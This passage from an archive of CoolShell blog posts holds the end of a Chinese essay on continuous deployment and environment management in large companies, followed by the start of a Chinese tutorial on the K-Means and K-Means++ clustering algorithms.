看看下面的图，公司增长的过程中，整个项目环境也变得复杂。（注意，这里是一种逻辑结构，而在物理层面项目B和项目A的生产环境可能部署在相同的机器上）。</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7694\" rel=\"attachment wp-att-7694\"><img alt=\"\" class=\"alignnone wp-image-7694 aligncenter\" height=\"370\" src=\"../wp-content/uploads/2012/06/sampleT1-1024x529.jpg\" width=\"717\"/></a></p>\n<p>同时，原本单一的项目软件结构随着业务系统的增加也不再简单： <img alt=\"\" class=\"alignnone wp-image-7697\" height=\"414\" src=\"../wp-content/uploads/2012/06/software.jpg\" width=\"763\"/></p>\n<p>而软件间的版本依赖使这个问题变得更为复杂：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7700\" rel=\"attachment wp-att-7700\"><img alt=\"\" class=\"alignnone size-full wp-image-7700 aligncenter\" height=\"343\" src=\"../wp-content/uploads/2012/06/dependency.jpg\" width=\"626\"/></a></p>\n<p>现在，Richard的公司已经不再是一条快乐的小鱼，而是渐渐成为一直庞大的巨兽。虽然只有四个产品，但公司却要支持几百台开发机，几十台生产服务器，还有对应的测试环境，数据库服务器，以及几十个开发小组，和一大堆的内部项目。我们尽可以使用持续集成来为我们完成自动化部署。但，<strong>当我们为各个项目建立起持续集成环境后，它能满足我们对于持续部署的要求吗？我们前期的工作可以简化我们今后项目的持续交付的工作的难度吗？它需要我们为之建立一个庞大的运维团队，还是可以让我们能节省下每一毛钱来投入到真正的业务价值中去？</strong></p>\n<p><strong>让我们先来看看复杂的项目环境中的几个场景</strong>：</p>\n<p><strong>场景1：环境升级</strong></p>\n<p style=\"padding-left: 30px;\">项目A和项目B都依赖于Web容器，公司决定升级Web容器版本，而公司要升级的机器有上百台，依赖人肉升级已不现实，维护团队因此针对各种软件开发了相应的自动化脚本，但当新的软件出现时，必须要开发新的脚本。而且当同时升级若干环境软件时，则难度随之增大，手工调度的方式极易出错，当升级失败时仍需要大量人工处理。由于存在大量升级脚本，有一定的维护成本。</p>\n<p><strong>场景2：依赖于环境的软件升级与回滚</strong></p>\n<p style=\"padding-left: 30px;\">针对环境升级，公司为项目A和项目B开发了新的版本。但环境的升级和软件的升级不是同步进行，出错的可能性非常大（想一想间接依赖和多重依赖的情况）。当新版本部署到生产系统时，发现问题，需要回滚到之前的版本——所有运行时版本都需要回滚，而且环境也需要同步回滚。几百台机器……</p>\n<p><strong>场景3：运行时依赖</strong></p>\n<p style=\"padding-left: 30px;\">在第一节的方案中，我们将所有的运行时依赖都打包到一起。当项目依赖关系复杂时，这样产生的包将非常臃肿，潜在地延长了部署的时间（想一想全世有几百台服务器，一个部署计划需要部署几百兆文件的情况），而且产生冲突的可能性非常大，而且对于不同类型的项目（Java和Ruby项目）缺乏通用性。06年左右，Nortel可是拿Excel统计过运行时依赖的，牵涉若干项目组，反复多次，没有个把月真搞不定。</p>\n<p><strong>场景4：泛滥的部署</strong></p>\n<p style=\"padding-left: 30px;\">每个项目相关的持续集成环境都需要开发自己的部署脚本，重复投入大，而且各个项目的部署过程不一致，并且对于同一个项目无法同时满足不同目的部署要求，例如，环境或系统配置参数改变后，无需安装包，只需做清理和激活的工作。最后，持续集成只是支持了和代码修改有关的部署。</p>\n<p><strong>场景5：不一致的环境</strong></p>\n<p style=\"padding-left: 30px;\">简单项目中，开发环境和运行环境都由开发人员搭建，当公司变大时，系统的运行环境将由运维人员搭建，而开发环境如果由运维人员搭建则工作量太大，由开发人员自己搭建则操作复杂又容易产生不一致的情况。</p>\n<p><strong>场景6：热切换</strong></p>\n<p style=\"padding-left: 30px;\">对于某些部署，需要尽量减少服务的停止时间，需要在服务的同时进行部署。</p>\n<p>这些场景只是以持续集成为中心的持续部署在面对大型企业时所遇到的部分问题。大型企业，人多，项目多，机器多，项目环境复杂，部署维护工作繁多。以持续集成为基础的部署可以解决各个项目的集成问题，却无法帮助企业应对复杂的项目环境和各种不同的部署要求。<strong>究其更本，大型企业中的部署不再是一个简单的问题，而是一个交付生态圈，基础设施和环境管理必须要纳入考虑之中。</strong>要实现真正意义上的持续部署，我们就必须<strong>把环境和项目同等对待</strong>，通通纳入管理之中。同时，部署本身要得到统一。<strong>一个好的部署机制，应该是易于建立，易于使用，易于维护。</strong></p>\n<h4>三、任脉——环境管理</h4>\n<p>什么是环境？</p>\n<p>系统运行所依赖和包含的一切就是其环境：硬件、操作系统，网络资源（IP地址、域名），服务容器，服务器软件配置，环境亦是，运行时依赖的命令和包，项目本身的包和配置都是环境的一部分。对于部署而言，广义上，这些通通应该纳入环境管理的范畴，但狭义上，从软件系统的角度看，一个环境就是其运行需要的软件及其配置（我们先把操作系统和网络资源当做基础设施，其在部署时已处于就位的情况）。因此：</p>\n<p><strong>项目A的生产环境 = 项目A本身的软件包 + 项目A运行时依赖的软件包 + 项目A运行时依赖的其它软件 + 项目A的配置信息</strong></p>\n<p>由于，项目本身的软件包、项目运行时依赖的软件包，以及项目运行时依赖的其它软件在本质上没有区别——都是软件，上面的定义可以进一步抽象为：</p>\n<p><strong>环境 = 软件包 + 配置信息</strong></p>\n<p>在这个定义下，我们就必须将运行环境的软件解构，并以包的形式导入到公司的整个项目资源库中，比如Apache将作为一个包被导入，而Apache依赖的其它包也将依次被导入，并建立起正确的依赖关系。而且，在导入的过程中还必须做些相应的调整，如，环境变量的读取和设置，必须来自于环境配置模块，而不要修改系统的环境变量，防止不同环境在系统环境配置上相互影响和依赖。</p>\n<p>再回头审视我们的示例，项目A的生产环境可以部署在不同的区域，对于各个区域可能有定制化的设定。这就像面向对象中的类，可以通过继承使子类重用父类的公有属性和行为并添加自己特有的信息。因此，环境的概念模型如图：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7725\" rel=\"attachment wp-att-7725\"><img alt=\"\" class=\"alignnone size-full wp-image-7725 aligncenter\" height=\"118\" src=\"../wp-content/uploads/2012/06/Env.jpg\" width=\"523\"/></a></p>\n<p>通过这样的关系，我们很容易为示例的复杂环境建立一种简单的结构，对于项目A：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7729\" rel=\"attachment wp-att-7729\"><img alt=\"\" class=\"alignnone size-full wp-image-7729 aligncenter\" height=\"519\" src=\"../wp-content/uploads/2012/06/org1.jpg\" width=\"599\"/></a></p>\n<p>这里，环境依然是处于知识层面（Knowledge Level），它并未与具体的基础设施相关联。当我们将一个环境“具现化”成一个运行系统时，我们就产生了一个真正的环境实例。在这两者之间，我们还必须要考虑环境实例的使用目的（开发？测试？……）以及安装所依赖的其它信息（如机器），因此，我们需要增加一个环境目标来集中这些信息，而且由于不同目标的环境可能会有所差别，因此，环境目标也需要配置的能力。概念模型如图：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7731\" rel=\"attachment wp-att-7731\"><img alt=\"\" class=\"alignnone size-full wp-image-7731 aligncenter\" height=\"438\" src=\"../wp-content/uploads/2012/06/target.jpg\" width=\"523\"/></a></p>\n<p>图中的环境实例是如何产生的呢？<strong>部署</strong>，<strong>一次部署可能会产生一个环境实例。</strong>一系列部署将产生对应于环境目标的多个环境实例，除去当前起作用的环境实例外（最新的），其它的是历史环境实例。<strong>通过在历史环境实例中切换，我们自然而然的就可以使整个环境回滚，因为项目所依赖的一切都已经成为的环境中的软件包，而且环境依赖的包的版本会随着部署具体确定下来。</strong>如此一来，我们便可以给每个环境实例分配一个版本号，再通过环境实例的版本号与软件包的版本对应起来，从而得知一次部署时应用的具体软件包，如图：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7732\" rel=\"attachment wp-att-7732\"><img alt=\"\" class=\"alignnone wp-image-7732 aligncenter\" height=\"394\" src=\"../wp-content/uploads/2012/06/version.jpg\" width=\"669\"/></a></p>\n<p>目前的环境管理结构，已经可以解决场景1、2和5的问题。那<strong>么对于场景2，运行时依赖，环境管理应该如何解决呢？</strong></p>\n<p>细心的朋友，可能已经发现，<strong>在环境层面上我们确定了环境依赖的软件包</strong>，这里有两个隐藏的含义：</p>\n<ul>\n<li>环境定义的是对软件包的运行时依赖</li>\n<li>由于环境是一个逻辑上的概念，因此其所用的软件包也是一个逻辑上的概念（相对于版本控制系统中的软件包）</li>\n</ul>\n<p>我们也已经知道，在部署时，一个环境实例将具体的确定其依赖的软件包的版本。某个版本的软件包最终与代码库中的物理的软件包相关联。但软件包是运行时的安装包，因此，它应该是代码库中包编译的结果。在对代码库的包编译时，既要将结果打上版本保存起来，也好在两者的版本间建立关系，最后，编译结果应该是某种既定的安装包目录文件结构。</p>\n<p>另外，当环境包含的包比较多时，运行时版本树会非常大，手动的指定全部的包的版本将是一个非常大的体力劳动，这部分工作也要得到简化。由此，我们必须</p>\n<div>\n<ul>\n<li><strong>建立逻辑软件包版本和版本库中软件包版本间的关系</strong></li>\n<li><strong><strong>为相互依赖的包编译并打上统一的标签</strong></strong></li>\n<li><strong>简化运行时包依赖关系的生产</strong></li>\n<li><strong>简化运行时包依赖的指定（可参考apt-get和RubyGem，环境只需指定直接依赖的包，间接依赖的包从运行时依赖树中自动导入）</strong></li>\n</ul>\n<div>一个可能的简单结构如下：</div>\n<p><a href=\"https://coolshell.cn/?attachment_id=7736\" rel=\"attachment wp-att-7736\"><img alt=\"\" class=\"alignnone size-full wp-image-7736 aligncenter\" height=\"195\" src=\"../wp-content/uploads/2012/06/pkg1.jpg\" width=\"783\"/></a></p>\n<p>上述讨论还没有涉及操作系统，<strong>如果我们的运行机器要支持多个系统，我们又该怎么办？？？</strong></p>\n<p>配置信息也是个大问题，大家可以思考</p>\n<ul>\n<li><strong>环境配置和应用配置如何区分？</strong></li>\n<li><strong>如何简化环境配置工作？</strong></li>\n<li><strong>如何使环境配置的效果只对具体环境有效，而不会泄露到环境外部？</strong></li>\n</ul>\n</div>\n<p>再者，</p>\n<ul>\n<li><strong>如何使应用支持多运行目标？</strong></li>\n<li><strong>环境管理如何能方便开发环境的调试？</strong></li>\n<li><strong>要如何简化版本的选择?</strong></li>\n<li><strong><strong>在多个包有编译和运行时依赖时，编译时如何检查以减少引入兼容性问题的风险？</strong></strong></li>\n</ul>\n<p>这些都留待大家思考。</p>\n<h4>四、督脉——部署系统</h4>\n<p>《持续集成》和《持续交付》中都对部署有详细的讨论，不在赘述。<strong>在我看来，部署其就是按照其目的执行一系列步骤将环境置于其目的所指向的状态中</strong>。我们一会再回国头来看这段文绉绉的话，先看看第一部分持续集成的环境下，我们部署的步骤可能会是下面这个样子：</p>\n<ol>\n<li>登陆目标机（ssh）</li>\n<li>停止服务</li>\n<li>清理环境</li>\n<li>准备安装环境（创建文件夹等）</li>\n<li>安装项目包（rsync，解压，权限设置等）</li>\n<li>配置环境变量</li>\n<li>启动服务</li>\n<li>……</li>\n</ol>\n<p>而在第二部分的<strong>情景4</strong>中，我们看到如果对不同的持续集成环境建立不同的部署脚本和环境维护脚本，这部署过程的维护会非常繁琐。基于第三部分的环境管理，我们可以将部署过程抽象为：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7737\" rel=\"attachment wp-att-7737\"><img alt=\"\" class=\"alignnone size-full wp-image-7737 aligncenter\" height=\"351\" src=\"../wp-content/uploads/2012/06/deploy.jpg\" width=\"566\"/></a></p>\n<p>现在回到开头那个文绉绉的描述：<strong>部署其就是按照其目的执行一系列步骤将环境置于其目的所指向的状态中</strong>。</p>\n<p>由于我们已经将部署作为环境管理的一部分，而环境又是对外提供服务的最小实体，因此，对环境的部署就是要根据部署的类型，在环境上按一定的步骤执行一系列操作，从而使环境置于部署类型所要的状态，这个过程中可能会生成对应的环境实例。举例来说，我们可能会修改环境相关的一些配置，然后重启环境，显然，这种情况下不需要下载安装软件包（没有改变），因此也就不需要生成环境实例。</p>\n<p>对于标准的部署——安装软件包并启动环境，可能的步骤将会是：</p>\n<ol>\n<li>选择将要部署的软件包的版本</li>\n<li>生成新的环境实例（确定环境实例的版本和其依赖包的版本，确定环境配置等）</li>\n<li>清理和准备目标机环境</li>\n<li>下载包</li>\n<li>设置环境配置</li>\n<li>环境实例切换</li>\n<li>生成部署报告</li>\n<li>……</li>\n</ol>\n<p>好，部署系统和环境管理各就各位，我们可以将各个项目环境纳入我们的环境管理之中，甚至是持续集成环境本身。再补充一句，要让部署系统和环境管理能很好的发挥作用，我们即需要一个简单一致的UI界面（为开发人员），也需要提供一个清晰明了的服务接口（供外部系统调用，如持续部署系统）。<strong>对于与环境管理相关的机器状态管理，网络资源的配置等等，本文不再涉及，大家可以自己思考</strong>。环境管理的实现、编译系统改造以及持续部署的具体实现，另作文章探讨。</p>\n<p>就技术而言（不考虑围绕持续部署的过程实践），环境管理、部署系统以及我们没有提及的编译系统改造才是生产线的真正引擎，持续部署不过是水到渠成的传送带而已。</p>\n<h4>五、没完</h4>\n<p>打通了任督二脉后，事还还没有完，还有很多细节上的问题。你想，这个工具实在是太好用了，于是公司里成百上千的工程师们都在使用这个自动化部署系统，我们又会面对很多很多问题：</p>\n<ul>\n<li><strong>部署系统的性能问题</strong>。几百号人不停地在把他们的软件部署到自己的机器上，部署到测试环境，部署到生产环境，一天之内一个人可能会要部署N次，回滚N次，不但有大量部署请求，还有大量的文件在网络上传输。你得想想这套部署系统如何解决这些性能问题，还得考虑未来更大规模的性能水平扩展问题。</li>\n</ul>\n<ul>\n<li><strong>目标机环境的管理。</strong>在目标运行机上需要解决几个问题：1）两个环境间如果有一些的一样的包，那就没有必要再下载了，这样可以节约时间。2）每次部署都需要把老的部署环境给保留下来，这样方便在新旧环境下的切换。这两点对于在生产环境下部署非常关键。（这需要环境内所有软件的绿色安装才能更容易达到这个目标，因些，Unix/Linux会比Windows更容易做到这点）</li>\n</ul>\n<ul>\n<li><strong>部署一致性事务问题</strong>。有时候，我们需要同时部署若干台服务器，比如：包A到机器MA，包B到机器MB，包C到机器MC，……（Web Service的SOA架构），这些包之间有运行依赖性和兼容性问题，要么一次性全部完成，要么就全部失败。回滚也是一样的，这是一个部署事务或部署一致性的问题。如何解决呢？</li>\n</ul>\n<ul>\n<li><strong>部署环境的版本控制问题</strong>。前面说过，我们的一个环境就会和若干个包的版本耦合，环境必需管理要部署的包的版本。于是，当你的部署越来越多的时候，各个环境的包的版本开始出现混乱，各种依赖间的版本也会出现不统一的情况，也就是说，就算你有这样的一个工具，在一个高速开发的环境下，我们的部署环境的管理还是会出现很多混乱的情况，需要你不断地统一大家的开发、测试环境。</li>\n</ul>\n<ul>\n<li><strong>部署计划</strong>。我们可能会有很多部署计划，比如：设定定时部署，提升或降低部署优先级，部署事务定义，部署策略（如：先部署10%的机器，如果没有问题，再把剩下的系统部署了），热切计划和策略…… 等等 ，等等 。</li>\n</ul>\n<ul>\n<li><strong>部署的监控和维护</strong>。任何软件和系统都会有这样的问题，当规模上去了以后，我们的自动化部署系统的监控和维护的复杂度并不亚于一个大型的互联网应用。</li>\n</ul>\n<div>这样的问题会有很多，基本上来说，<strong>这样一个持续集成持续部署的自动化系统并不是那么简单的事，其开发工作量和一个标准的大型互联网业务系统没什么两样</strong>。</div>\n<h4>六、总结</h4>\n<p>这里只谈一点自己的看法，从传统的持续集成到面向大型软件的持续部署，我们将系统所依赖的软件环境和软件包抽象为一致的实体纳入到管理之中，并将运维人员的工作真正的分摊到开发人员身上。而云计算的出现，使得计算机本身也可以自动化的创建和回收，这样环境管理的范畴将进一步扩充。相应的，部署的能力和灵活性也是一次质的飞跃，将再一次减轻运维人员的工作压力。</p>\n<p>说了这么多废话，总结一下自己的观点，对于向大型软件企业推销基于持续集成的持续部署（交付）的哥们：</p>\n<ul>\n<li><strong>你就是在耍流氓</strong>，如果你不解决环境管理！！！</li>\n<li><strong>你就是在耍流氓</strong>，如果你不建立部署系统！！！</li>\n<li><strong>你就是在耍流氓</strong>，如果你不扩展编译系统！！！</li>\n<li><strong>你就是在耍流氓</strong>，如果你只是推销小团队的实践而不考虑改造大环境！！！</li>\n<li><strong>你就是个流氓</strong>，如果你只是不断地告诉别人怎么做，自己却从来不动手写一个测试或建立一个持续集成环境！！！</li>\n</ul>\n<p>最后，用Linus最经典的话来结束本文——“ Talk is Cheap, Show me the Code！”</p>\n<p>（<strong>注：本文由<a href=\"http://weibo.com/renfake\" target=\"_blank\">@常新居士</a>完成初稿，我做了一些编辑，主要写了第五节“没完”</strong> ）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5625.html\"><img alt=\"“品质在于构建过程”吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5044.html\"><img alt=\"为什么Scrum不行？\" height=\"150\" src=\"../wp-content/uploads/2011/07/hat-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-29 K-Means 算法.html",
    "content": "<html><body><p>最近在学习一些数据挖掘的算法，看到了这个算法，也许这个算法对你来说很简单，但对我来说，我是一个初学者，我在网上翻看了很多资料，发现中文社区没有把这个问题讲得很全面很清楚的文章，所以，把我的学习笔记记录下来，分享给大家。</p>\n<p>在数据挖掘中， <strong><em>k</em>-Means 算法</strong>是一种 <a href=\"http://en.wikipedia.org/wiki/Cluster_analysis\" title=\"Cluster analysis\">cluster analysis</a> 的算法，其主要是来计算数据聚集的算法，主要通过不断地取离种子点最近均值的算法。</p>\n<h4>问题</h4>\n<p>K-Means算法主要解决的问题如下图所示。我们可以看到，在图的左边有一些点，我们用肉眼可以看出来有四个点群，但是我们怎么通过计算机程序找出这几个点群来呢？于是就出现了我们的K-Means算法（<a href=\"http://en.wikipedia.org/wiki/K-means_clustering\" target=\"_blank\" title=\"K-means Clustering 算法\">Wikipedia链接</a>）</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_7780\" style=\"width: 600px;\"><img alt=\"\" class=\"size-full wp-image-7780\" height=\"300\" src=\"../wp-content/uploads/2012/06/K-Means.gif\" title=\"K-Means 要解决的问题\" width=\"600\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-7780\">K-Means 要解决的问题</figcaption></figure>\n<h4>算法概要</h4>\n<p>这个算法其实很简单，如下图所示：</p>\n<p><span id=\"more-7779\"></span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_7781\" style=\"width: 504px;\"><img alt=\"K-Means 算法概要\" class=\"size-full wp-image-7781\" height=\"370\" src=\"../wp-content/uploads/2012/06/K-Means.jpg\" title=\"K-Means 算法概要\" width=\"504\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-7781\">K-Means 算法概要</figcaption></figure>\n<p>从上图中，我们可以看到，<strong>A, B, C, D, E 是五个在图中点。而灰色的点是我们的种子点，也就是我们用来找点群的点</strong>。有两个种子点，所以K=2。</p>\n<p>然后，K-Means的算法如下：</p>\n<ol>\n<li>随机在图中取K（这里K=2）个种子点。</li>\n<li>然后对图中的所有点求到这K个种子点的距离，假如点Pi离种子点Si最近，那么Pi属于Si点群。（上图中，我们可以看到A,B属于上面的种子点，C,D,E属于下面中部的种子点）</li>\n<li>接下来，我们要移动种子点到属于他的“点群”的中心。（见图上的第三步）</li>\n<li>然后重复第2）和第3）步，直到，种子点没有移动（我们可以看到图中的第四步上面的种子点聚合了A,B,C，下面的种子点聚合了D，E）。</li>\n</ol>\n<p>这个算法很简单，但是有些细节我要提一下，求距离的公式我不说了，大家有初中毕业水平的人都应该知道怎么算的。我重点想说一下“求点群中心的算法”</p>\n<h4>求点群中心的算法</h4>\n<p>一般来说，求点群中心点的算法你可以很简的使用各个点的X/Y坐标的平均值。不过，我这里想告诉大家另三个求中心点的的公式：</p>\n<p><strong>1）Minkowski Distance 公式 ——</strong> λ 可以随意取值，可以是负数，也可以是正数，或是无穷大。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7787\" height=\"51\" src=\"../wp-content/uploads/2012/06/MinkowskiDistance_clip_image102.gif\" title=\"Minkowski Distance 公式\" width=\"131\"/></p>\n<p><strong>2）Euclidean Distance 公式 </strong>—— 也就是第一个公式 λ=2 的情况</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7784\" height=\"51\" src=\"../wp-content/uploads/2012/06/EuclideanDistance_clip_image002.gif\" title=\"Euclidean Distance 公式\" width=\"137\"/></p>\n<p><strong>3）CityBlock Distance 公式 </strong>—— 也就是第一个公式 λ=1 的情况</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7782\" height=\"45\" src=\"../wp-content/uploads/2012/06/CityBlockDistance_clip_image002.gif\" title=\"CityBlock Distance 公式\" width=\"111\"/></p>\n<p>这三个公式的求中心点有一些不一样的地方，我们看下图（对于第一个 λ 在 0-1之间）。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"180\" src=\"../wp-content/uploads/2012/06/Minkowski-Mean.jpg\" title=\"Minkowski Mean\" width=\"180\"/>   <img alt=\"\" height=\"180\" src=\"../wp-content/uploads/2012/06/Euclidean-distance.jpg\" title=\"Euclidean distance\" width=\"180\"/>  <img alt=\"\" height=\"180\" src=\"../wp-content/uploads/2012/06/Manhattan-distance.jpg\" title=\"Manhattan distance\" width=\"180\"/></p>\n<p style=\"text-align: center;\"><strong>（1）Minkowski Distance     （2）<strong>Euclidean Distance    （3） <strong>CityBlock Distance</strong></strong></strong></p>\n<p style=\"text-align: left;\">上面这几个图的大意是他们是怎么个逼近中心的，第一个图以星形的方式，第二个图以同心圆的方式，第三个图以菱形的方式。</p>\n<h4 style=\"text-align: left;\">K-Means的演示</h4>\n<p style=\"text-align: left;\">如果你以”<a href=\"https://www.google.com/search?hl=zh-CN&amp;q=K+Means+Demo\" target=\"_blank\">K Means Demo</a>“为关键字到Google里查你可以查到很多演示。这里推荐一个演示</p>\n<p style=\"text-align: center;\"><a href=\"http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/AppletKM.html\">http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/AppletKM.html</a></p>\n<p style=\"text-align: left;\">操作是，鼠标左键是初始化点，右键初始化“种子点”，然后勾选“Show History”可以看到一步一步的迭代。</p>\n<p style=\"text-align: left;\">注：这个演示的链接也有一个不错的 <a href=\"http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/index.html\" target=\"_blank\">K Means Tutorial</a> 。</p>\n<h4 style=\"text-align: left;\">K-Means ++ 算法</h4>\n<p>K-Means主要有两个最重大的缺陷——都和初始值有关：</p>\n<ul>\n<li> K 是事先给定的，这个 K 值的选定是非常难以估计的。很多时候，事先并不知道给定的数据集应该分成多少个类别才最合适。（ <a href=\"http://en.wikipedia.org/wiki/Multispectral_pattern_recognition\" target=\"_blank\">ISODATA 算法</a>通过类的自动合并和分裂，得到较为合理的类型数目 K）</li>\n</ul>\n<ul>\n<li>K-Means算法需要用初始随机种子点来搞，这个随机种子点太重要，不同的随机种子点会有得到完全不同的结果。（<a href=\"http://en.wikipedia.org/wiki/K-means%2B%2B\" target=\"_blank\">K-Means++算法</a>可以用来解决这个问题，其可以有效地选择初始点）</li>\n</ul>\n<p>我在这里重点说一下 K-Means++算法步骤：</p>\n<ol>\n<li>先从我们的数据库随机挑个随机点当“种子点”。</li>\n<li>对于每个点，我们都计算其和最近的一个“种子点”的距离D(<var>x</var>)并保存在一个数组里，然后把这些距离加起来得到Sum(D(<var>x</var>))。</li>\n<li>然后，再取一个随机值，用权重的方式来取计算下一个“种子点”。这个算法的实现是，先取一个能落在Sum(D(<var>x</var>))中的随机值Random，然后用Random -= D(<var>x</var>)，直到其&lt;=0，此时的点就是下一个“种子点”。</li>\n<li>重复第（2）和第（3）步直到所有的K个种子点都被选出来。</li>\n<li>进行K-Means算法。</li>\n</ol>\n<p>相关的代码你可以在这里找到“<a href=\"http://rosettacode.org/wiki/K-means%2B%2B_clustering\" target=\"_blank\">implement the K-means++ algorithm</a>”(墙) 另，<a href=\"http://commons.apache.org/math/api-2.1/index.html?org/apache/commons/math/stat/clustering/KMeansPlusPlusClusterer.html\" rel=\"nofollow\" target=\"_blank\">Apache 的通用数据学库也实现了这一算法</a></p>\n<h4>K-Means 算法应用</h4>\n<p>看到这里，你会说，K-Means算法看来很简单，而且好像就是在玩坐标点，没什么真实用处。而且，这个算法缺陷很多，还不如人工呢。是的，前面的例子只是玩二维坐标点，的确没什么意思。但是你想一下下面的几个问题：</p>\n<p style=\"padding-left: 30px;\">1）如果不是二维的，是多维的，如5维的，那么，就只能用计算机来计算了。</p>\n<p style=\"padding-left: 30px;\">2）二维坐标点的X, Y 坐标，其实是一种向量，是一种数学抽象。现实世界中很多属性是可以抽象成向量的，比如，我们的年龄，我们的喜好，我们的商品，等等，能抽象成向量的目的就是可以让计算机知道某两个属性间的距离。如：我们认为，18岁的人离24岁的人的距离要比离12岁的距离要近，鞋子这个商品离衣服这个商品的距离要比电脑要近，等等。</p>\n<p><strong>只要能把现实世界的物体的属性抽象成向量，就可以用K-Means算法来归类了</strong>。</p>\n<p>在 《<a href=\"http://www.cnblogs.com/leoo2sk/archive/2010/09/20/k-means.html\" id=\"ctl01_lnkTitle\">k均值聚类(K-means)</a>》 这篇文章中举了一个很不错的应用例子，作者用亚洲15支足球队的2005年到1010年的战绩做了一个向量表，然后用K-Means把球队归类，得出了下面的结果，呵呵。</p>\n<ul>\n<li>亚洲一流：日本，韩国，伊朗，沙特</li>\n<li>亚洲二流：乌兹别克斯坦，巴林，朝鲜</li>\n<li>亚洲三流：中国，伊拉克，卡塔尔，阿联酋，泰国，越南，阿曼，印尼</li>\n</ul>\n<p>其实，这样的业务例子还有很多，比如，分析一个公司的客户分类，这样可以对不同的客户使用不同的商业策略，或是电子商务中分析商品相似度，归类商品，从而可以使用一些不同的销售策略，等等。</p>\n<p>最后给一个挺好的算法的幻灯片：<a href=\"http://www.cs.cmu.edu/~guestrin/Class/10701-S07/Slides/clustering.pdf\">http://www.cs.cmu.edu/~guestrin/Class/10701-S07/Slides/clustering.pdf</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8052.html\"><img alt=\"K Nearest Neighbor 算法\" 